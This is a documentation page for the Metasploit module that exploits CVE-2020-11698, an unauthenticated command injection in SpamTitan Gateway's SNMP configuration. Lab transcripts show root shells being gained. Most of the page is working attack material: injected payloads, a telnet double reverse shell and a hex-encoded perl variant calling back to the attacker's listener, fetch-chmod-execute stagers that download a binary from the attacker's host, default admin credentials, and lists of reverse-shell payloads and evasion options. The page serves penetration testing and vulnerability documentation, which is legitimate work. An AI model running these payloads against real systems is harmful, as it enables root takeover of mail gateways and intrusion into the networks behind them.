SpamTitan Unauthenticated RCE - Metasploit
This page contains detailed information about how to use the exploit/freebsd/webapp/spamtitan_unauth_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: SpamTitan Unauthenticated RCE
Module: exploit/freebsd/webapp/spamtitan_unauth_rce
Source code: modules/exploits/freebsd/webapp/spamtitan_unauth_rce.rb
Disclosure date: 2020-04-17
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-11698
TitanHQ SpamTitan Gateway is an anti-spam appliance that
protects against unwanted emails and malwares. This module
exploits an improper input sanitization in versions 7.01,
7.02, 7.03 and 7.07 to inject command directives into the
SNMP configuration file and get remote code execution as
root. Note that only version 7.03 needs authentication and
no authentication is required for versions 7.01, 7.02 and
7.07. First, it sends an HTTP POST request to the
snmp-x.php
page with an SNMPD
command directives
(extend
+ command) passed to the community
parameter.
This payload is then added to snmpd.conf
by the
application. Finally, the module triggers the execution of
this command by querying the SNMP server for the correct
OID. This exploit module has been successfully tested
against versions 7.01, 7.02, 7.03, and 7.07.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- config-changes: Module modifies some configuration setting on the target machine.
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/freebsd/webapp/spamtitan_unauth_rce
msf exploit(spamtitan_unauth_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against unwanted emails and malwares. This module exploits an improper input sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives into the SNMP configuration file and get remote code execution as root. Note that only version 7.03 needs authentication and no authentication is required for versions 7.01, 7.02 and 7.07.
First, it sends an HTTP POST request to the snmp-x.php
page with an SNMPD
command directives (extend
+ command) passed to the community
parameter.
This payload is then added to snmpd.conf
by the application. Finally, the
module triggers the execution of this command by querying the SNMP server for
the correct OID.
This exploit module has been successfully tested against versions 7.01, 7.02, 7.03, and 7.07.
Installation
A demo version of the vulnerable application can be downloaded here. Since the latest version of SpamTitan Gateway has this vulnerability fixed and no demo of the vulnerable versions are available for download, the previous major release demo has to be used and updates have to be installed manually.
Installation steps:
1. Download SpamTitan Gateway version 6 demo .ova
image:
https://stdownload.titanhq.com/vmware/SpamTitan-6-amd64.ova
2. Import it to your favorite virtualization software and start it
3. Access the SpamTitan web user interface from the appliance IP. This IP is
usually displayed on the welcome page once the virtual machine has boot up.
4. Login with the default credentials:
- username: admin
- password: hiadmin
5. Go to System Setup
> System Updates
and click Start
in the Check for
Updates Now
section. It will download all available update patches.
6. From the Available Updates
section, choose the version you want to test
and click the install
button in front of it.
Verification Steps
- Install the application (see Installation)
- Start msfconsole
- Do:
use exploit/freebsd/webapp/spamtitan_unauth_rce
- Do:
set RHOSTS <ip>
- Do:
set LHOST <ip>
- Do:
run
- You should get a shell.
Options
TARGETURI
The base path to SpamTitan. Default value is /
.
USERNAME
The username to authenticate, if required (depending on SpamTitan Gateway
version). Default value is admin
.
PASSWORD
The password to authenticate, if required (depending on SpamTitan Gateway
version). Default value is hiadmin
.
COMMUNITY
The SNMP Community String to use (random string by default).
ALLOWEDIP
The IP address that will be allowed to query the injected extend
command.
This IP will be added to the SNMP configuration file on the target. This is
tipically this host IP address, but can be different if your are in a NAT'ed
network. If not set, LHOST
will be used instead. If LHOST
is not set, it
will default to 127.0.0.1
.
SNMPPORT
The target SNMP port (UDP). Default port is 161
.
Scenarios
SpamTitan Gateway v7.01 - target 0 (in-memory command)
msf6 > use exploit/freebsd/webapp/spamtitan_unauth_rce
[*] Using configured payload cmd/unix/reverse
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set LHOST 172.16.60.1
LHOST => 172.16.60.1
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set RHOSTS 172.16.60.101
RHOSTS => 172.16.60.101
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set verbose true
verbose => true
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options
Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ALLOWEDIP no The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is tipically this host IP address, but can be different if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
COMMUNITY BTMlXXtt no The SNMP Community String to use (random string by default)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RETRIES 1 yes SNMP Retries
RHOSTS 172.16.60.101 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (UDP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to SpamTitan
TIMEOUT 1 yes SNMP Timeout
URIPATH no The URI to use for this exploit (default is random)
VERSION 1 yes SNMP Version <1/2c>
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.60.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix In-Memory
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > check
[*] Check if /snmp-x.php exists
[*] 172.16.60.101:80 - The target appears to be vulnerable.
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run
[+] sh -c '(sleep 4511|telnet 172.16.60.1 4444|while : ; do sh && break; done 2>&1|telnet 172.16.60.1 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 172.16.60.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'perl -e system -e pack -e qq,H244,,qq,7368202d63202728736c65657020333735347c74656c6e6574203137322e31362e36302e3120343434347c7768696c65203a203b20646f20736820262620627265616b3b20646f6e6520323e26317c74656c6e6574203137322e31362e36302e312034343434203e2f6465762f6e756c6c20323e263120262927,'#
[*] Send an SNMP Get-Request to trigger the payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ldqlDor8slARqZ0Q;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Connected: not found\r\nEscape: not found\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.60.1:4444 -> 172.16.60.101:38973) at 2020-10-28 15:56:55 +0100
id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
uname -a
FreeBSD spamtitan.example.com 10.1-RELEASE-p8 FreeBSD 10.1-RELEASE-p8 #1: Wed May 6 10:36:09 IST 2015 [email protected]:/usr/obj/usr/src/sys/SPAMTITAN amd64
ifconfig
em0: flags=8843 metric 0 mtu 1500
options=9b
ether 00:0c:29:cb:1d:73
inet 172.16.60.101 netmask 0xffffff00 broadcast 172.16.60.255
nd6 options=29
media: Ethernet autoselect (1000baseT )
status: active
lo0: flags=8049 metric 0 mtu 16384
options=600003
inet6 ::1 prefixlen 128
inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2
inet 127.0.0.1 netmask 0xff000000
inet 127.0.0.2 netmask 0xffffffff
inet 127.0.0.3 netmask 0xffffffff
nd6 options=21
^C
Abort session 1? [y/N] y
[*] 172.16.60.101 - Command shell session 1 closed. Reason: User exit
SpamTitan Gateway v7.01 - target 1 (FreeBSD Dropper - x64)
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set target 1
target => 1
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options
Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ALLOWEDIP no The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is tipically this host IP address, but can be different if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
COMMUNITY BTMlXXtt no The SNMP Community String to use (random string by default)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RETRIES 1 yes SNMP Retries
RHOSTS 172.16.60.101 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (UDP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to SpamTitan
TIMEOUT 1 yes SNMP Timeout
URIPATH no The URI to use for this exploit (default is random)
VERSION 1 yes SNMP Version <1/2c>
VHOST no HTTP server virtual host
Payload options (bsd/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD /bin/sh yes The command string to execute
LHOST 172.16.60.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 FreeBSD Dropper (x64)
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run
[*] Started reverse TCP handler on 172.16.60.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Using URL: http://0.0.0.0:8080/AW6l3kjAO2B
[*] Local IP: http://192.168.1.75:8080/AW6l3kjAO2B
[*] Generated command stager: ["fetch -qo /tmp/BrnPtJiQ http://172.16.60.1:8080/AW6l3kjAO2B", "chmod +x /tmp/BrnPtJiQ", "/tmp/BrnPtJiQ", "rm -f /tmp/BrnPtJiQ"]
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'fetch\ -qo\ /tmp/BrnPtJiQ\ http://172.16.60.1:8080/AW6l3kjAO2B&'#
[*] Send an SNMP Get-Request to trigger the payload
[*] Client 172.16.60.101 (fetch libfetch/2.0) requested /AW6l3kjAO2B
[*] Sending payload to 172.16.60.101 (fetch libfetch/2.0)
[+] SNMP Get-Request response (status=noError): [1] 16531
[*] Command Stager progress - 52.21% done (59/113 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'chmod\ \+x\ /tmp/BrnPtJiQ&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16561
[*] Command Stager progress - 71.68% done (81/113 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c '/tmp/BrnPtJiQ&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16590
[*] Command shell session 2 opened (172.16.60.1:4444 -> 172.16.60.101:16026) at 2020-10-28 15:57:34 +0100
[*] Command Stager progress - 83.19% done (94/113 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'rm\ -f\ /tmp/BrnPtJiQ&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16619
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Server stopped.
id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
uname -a
FreeBSD spamtitan.example.com 10.1-RELEASE-p8 FreeBSD 10.1-RELEASE-p8 #1: Wed May 6 10:36:09 IST 2015 [email protected]:/usr/obj/usr/src/sys/SPAMTITAN amd64
^C
Abort session 2? [y/N] y
[*] 172.16.60.101 - Command shell session 2 closed. Reason: User exit
SpamTitan Gateway v7.01 - target 2 (FreeBSD Dropper - x86)
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set target 2
target => 2
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options
Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ALLOWEDIP no The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is tipically this host IP address, but can be different if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
COMMUNITY BTMlXXtt no The SNMP Community String to use (random string by default)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RETRIES 1 yes SNMP Retries
RHOSTS 172.16.60.101 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (UDP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to SpamTitan
TIMEOUT 1 yes SNMP Timeout
URIPATH no The URI to use for this exploit (default is random)
VERSION 1 yes SNMP Version <1/2c>
VHOST no HTTP server virtual host
Payload options (bsd/x86/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.60.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 FreeBSD Dropper (x86)
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run
[*] Started reverse TCP handler on 172.16.60.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Using URL: http://0.0.0.0:8080/EtQflZ
[*] Local IP: http://192.168.1.75:8080/EtQflZ
[*] Generated command stager: ["fetch -qo /tmp/uTJGnSFj http://172.16.60.1:8080/EtQflZ", "chmod +x /tmp/uTJGnSFj", "/tmp/uTJGnSFj", "rm -f /tmp/uTJGnSFj"]
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'fetch\ -qo\ /tmp/uTJGnSFj\ http://172.16.60.1:8080/EtQflZ&'#
[*] Send an SNMP Get-Request to trigger the payload
[*] Client 172.16.60.101 (fetch libfetch/2.0) requested /EtQflZ
[*] Sending payload to 172.16.60.101 (fetch libfetch/2.0)
[+] SNMP Get-Request response (status=noError): [1] 16656
[*] Command Stager progress - 50.00% done (54/108 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'chmod\ \+x\ /tmp/uTJGnSFj&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16685
[*] Command Stager progress - 70.37% done (76/108 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c '/tmp/uTJGnSFj&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16714
[*] Command shell session 3 opened (172.16.60.1:4444 -> 172.16.60.101:45568) at 2020-10-28 15:58:09 +0100
[*] Command Stager progress - 82.41% done (89/108 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'rm\ -f\ /tmp/uTJGnSFj&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16743
[*] Command Stager progress - 100.00% done (108/108 bytes)
[*] Server stopped.
id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
uname -a
FreeBSD spamtitan.example.com 10.1-RELEASE-p8 FreeBSD 10.1-RELEASE-p8 #1: Wed May 6 10:36:09 IST 2015 [email protected]:/usr/obj/usr/src/sys/SPAMTITAN amd64
^C
Abort session 3? [y/N] y
[*] 172.16.60.101 - Command shell session 3 closed. Reason: User exit
Go back to menu.
Msfconsole Usage
Here is how the freebsd/webapp/spamtitan_unauth_rce exploit module looks in the msfconsole:
msf6 > use exploit/freebsd/webapp/spamtitan_unauth_rce
[*] Using configured payload cmd/unix/reverse
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show info
Name: SpamTitan Unauthenticated RCE
Module: exploit/freebsd/webapp/spamtitan_unauth_rce
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2020-04-17
Provided by:
Christophe De La Fuente
Felipe Molina
Module side effects:
config-changes
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix In-Memory
1 FreeBSD Dropper (x64)
2 FreeBSD Dropper (x86)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ALLOWEDIP no The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is tipically this host IP address, but can be differen
t if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
COMMUNITY CmhKeZTc no The SNMP Community String to use (random string by default)
PASSWORD hiadmin no Password to authenticate, if required (depending on SpamTitan Gateway version)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RETRIES 1 yes SNMP Retries
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target HTTP port (TCP)
SNMPPORT 161 yes The target SNMP port (UDP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to SpamTitan
TIMEOUT 1 yes SNMP Timeout
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin no Username to authenticate, if required (depending on SpamTitan Gateway version)
VERSION 1 yes SNMP Version <1/2c>
VHOST no HTTP server virtual host
Payload information:
Space: 470
Avoid: 3 characters
Description:
TitanHQ SpamTitan Gateway is an anti-spam appliance that protects
against unwanted emails and malwares. This module exploits an
improper input sanitization in versions 7.01, 7.02, 7.03 and 7.07 to
inject command directives into the SNMP configuration file and get
remote code execution as root. Note that only version 7.03 needs
authentication and no authentication is required for versions 7.01,
7.02 and 7.07. First, it sends an HTTP POST request to the
`snmp-x.php` page with an `SNMPD` command directives (`extend` +
command) passed to the `community` parameter. This payload is then
added to `snmpd.conf` by the application. Finally, the module
triggers the execution of this command by querying the SNMP server
for the correct OID. This exploit module has been successfully
tested against versions 7.01, 7.02, 7.03, and 7.07.
References:
https://www.exploit-db.com/exploits/48856
https://www.titanhq.com/spamtitan/spamtitangateway/
https://nvd.nist.gov/vuln/detail/CVE-2020-11698
Module Options
This is a complete list of options available in the freebsd/webapp/spamtitan_unauth_rce exploit:
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options
Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ALLOWEDIP no The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is tipically this host IP address, but can be differe
nt if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
COMMUNITY CmhKeZTc no The SNMP Community String to use (random string by default)
PASSWORD hiadmin no Password to authenticate, if required (depending on SpamTitan Gateway version)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RETRIES 1 yes SNMP Retries
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target HTTP port (TCP)
SNMPPORT 161 yes The target SNMP port (UDP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to SpamTitan
TIMEOUT 1 yes SNMP Timeout
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin no Username to authenticate, if required (depending on SpamTitan Gateway version)
VERSION 1 yes SNMP Version <1/2c>
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix In-Memory
Advanced Options
Here is a complete list of advanced options supported by the freebsd/webapp/spamtitan_unauth_rce exploit:
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show advanced
Module advanced options (exploit/freebsd/webapp/spamtitan_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, fetch, wget, curl)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the freebsd/webapp/spamtitan_unauth_rce module can exploit:
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix In-Memory
1 FreeBSD Dropper (x64)
2 FreeBSD Dropper (x86)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the freebsd/webapp/spamtitan_unauth_rce exploit:
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
3 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
4 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
5 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
6 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
7 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
8 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
9 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
10 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
11 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
12 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
13 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
14 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
15 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
16 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
17 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
18 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
19 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
20 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
21 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
22 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
23 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
24 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
25 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
26 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
27 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
28 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
29 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
30 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
31 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
32 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
33 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
34 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
35 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
36 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
37 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
38 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
39 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
40 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
41 payload/generic/custom normal No Custom Payload
42 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
43 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the freebsd/webapp/spamtitan_unauth_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
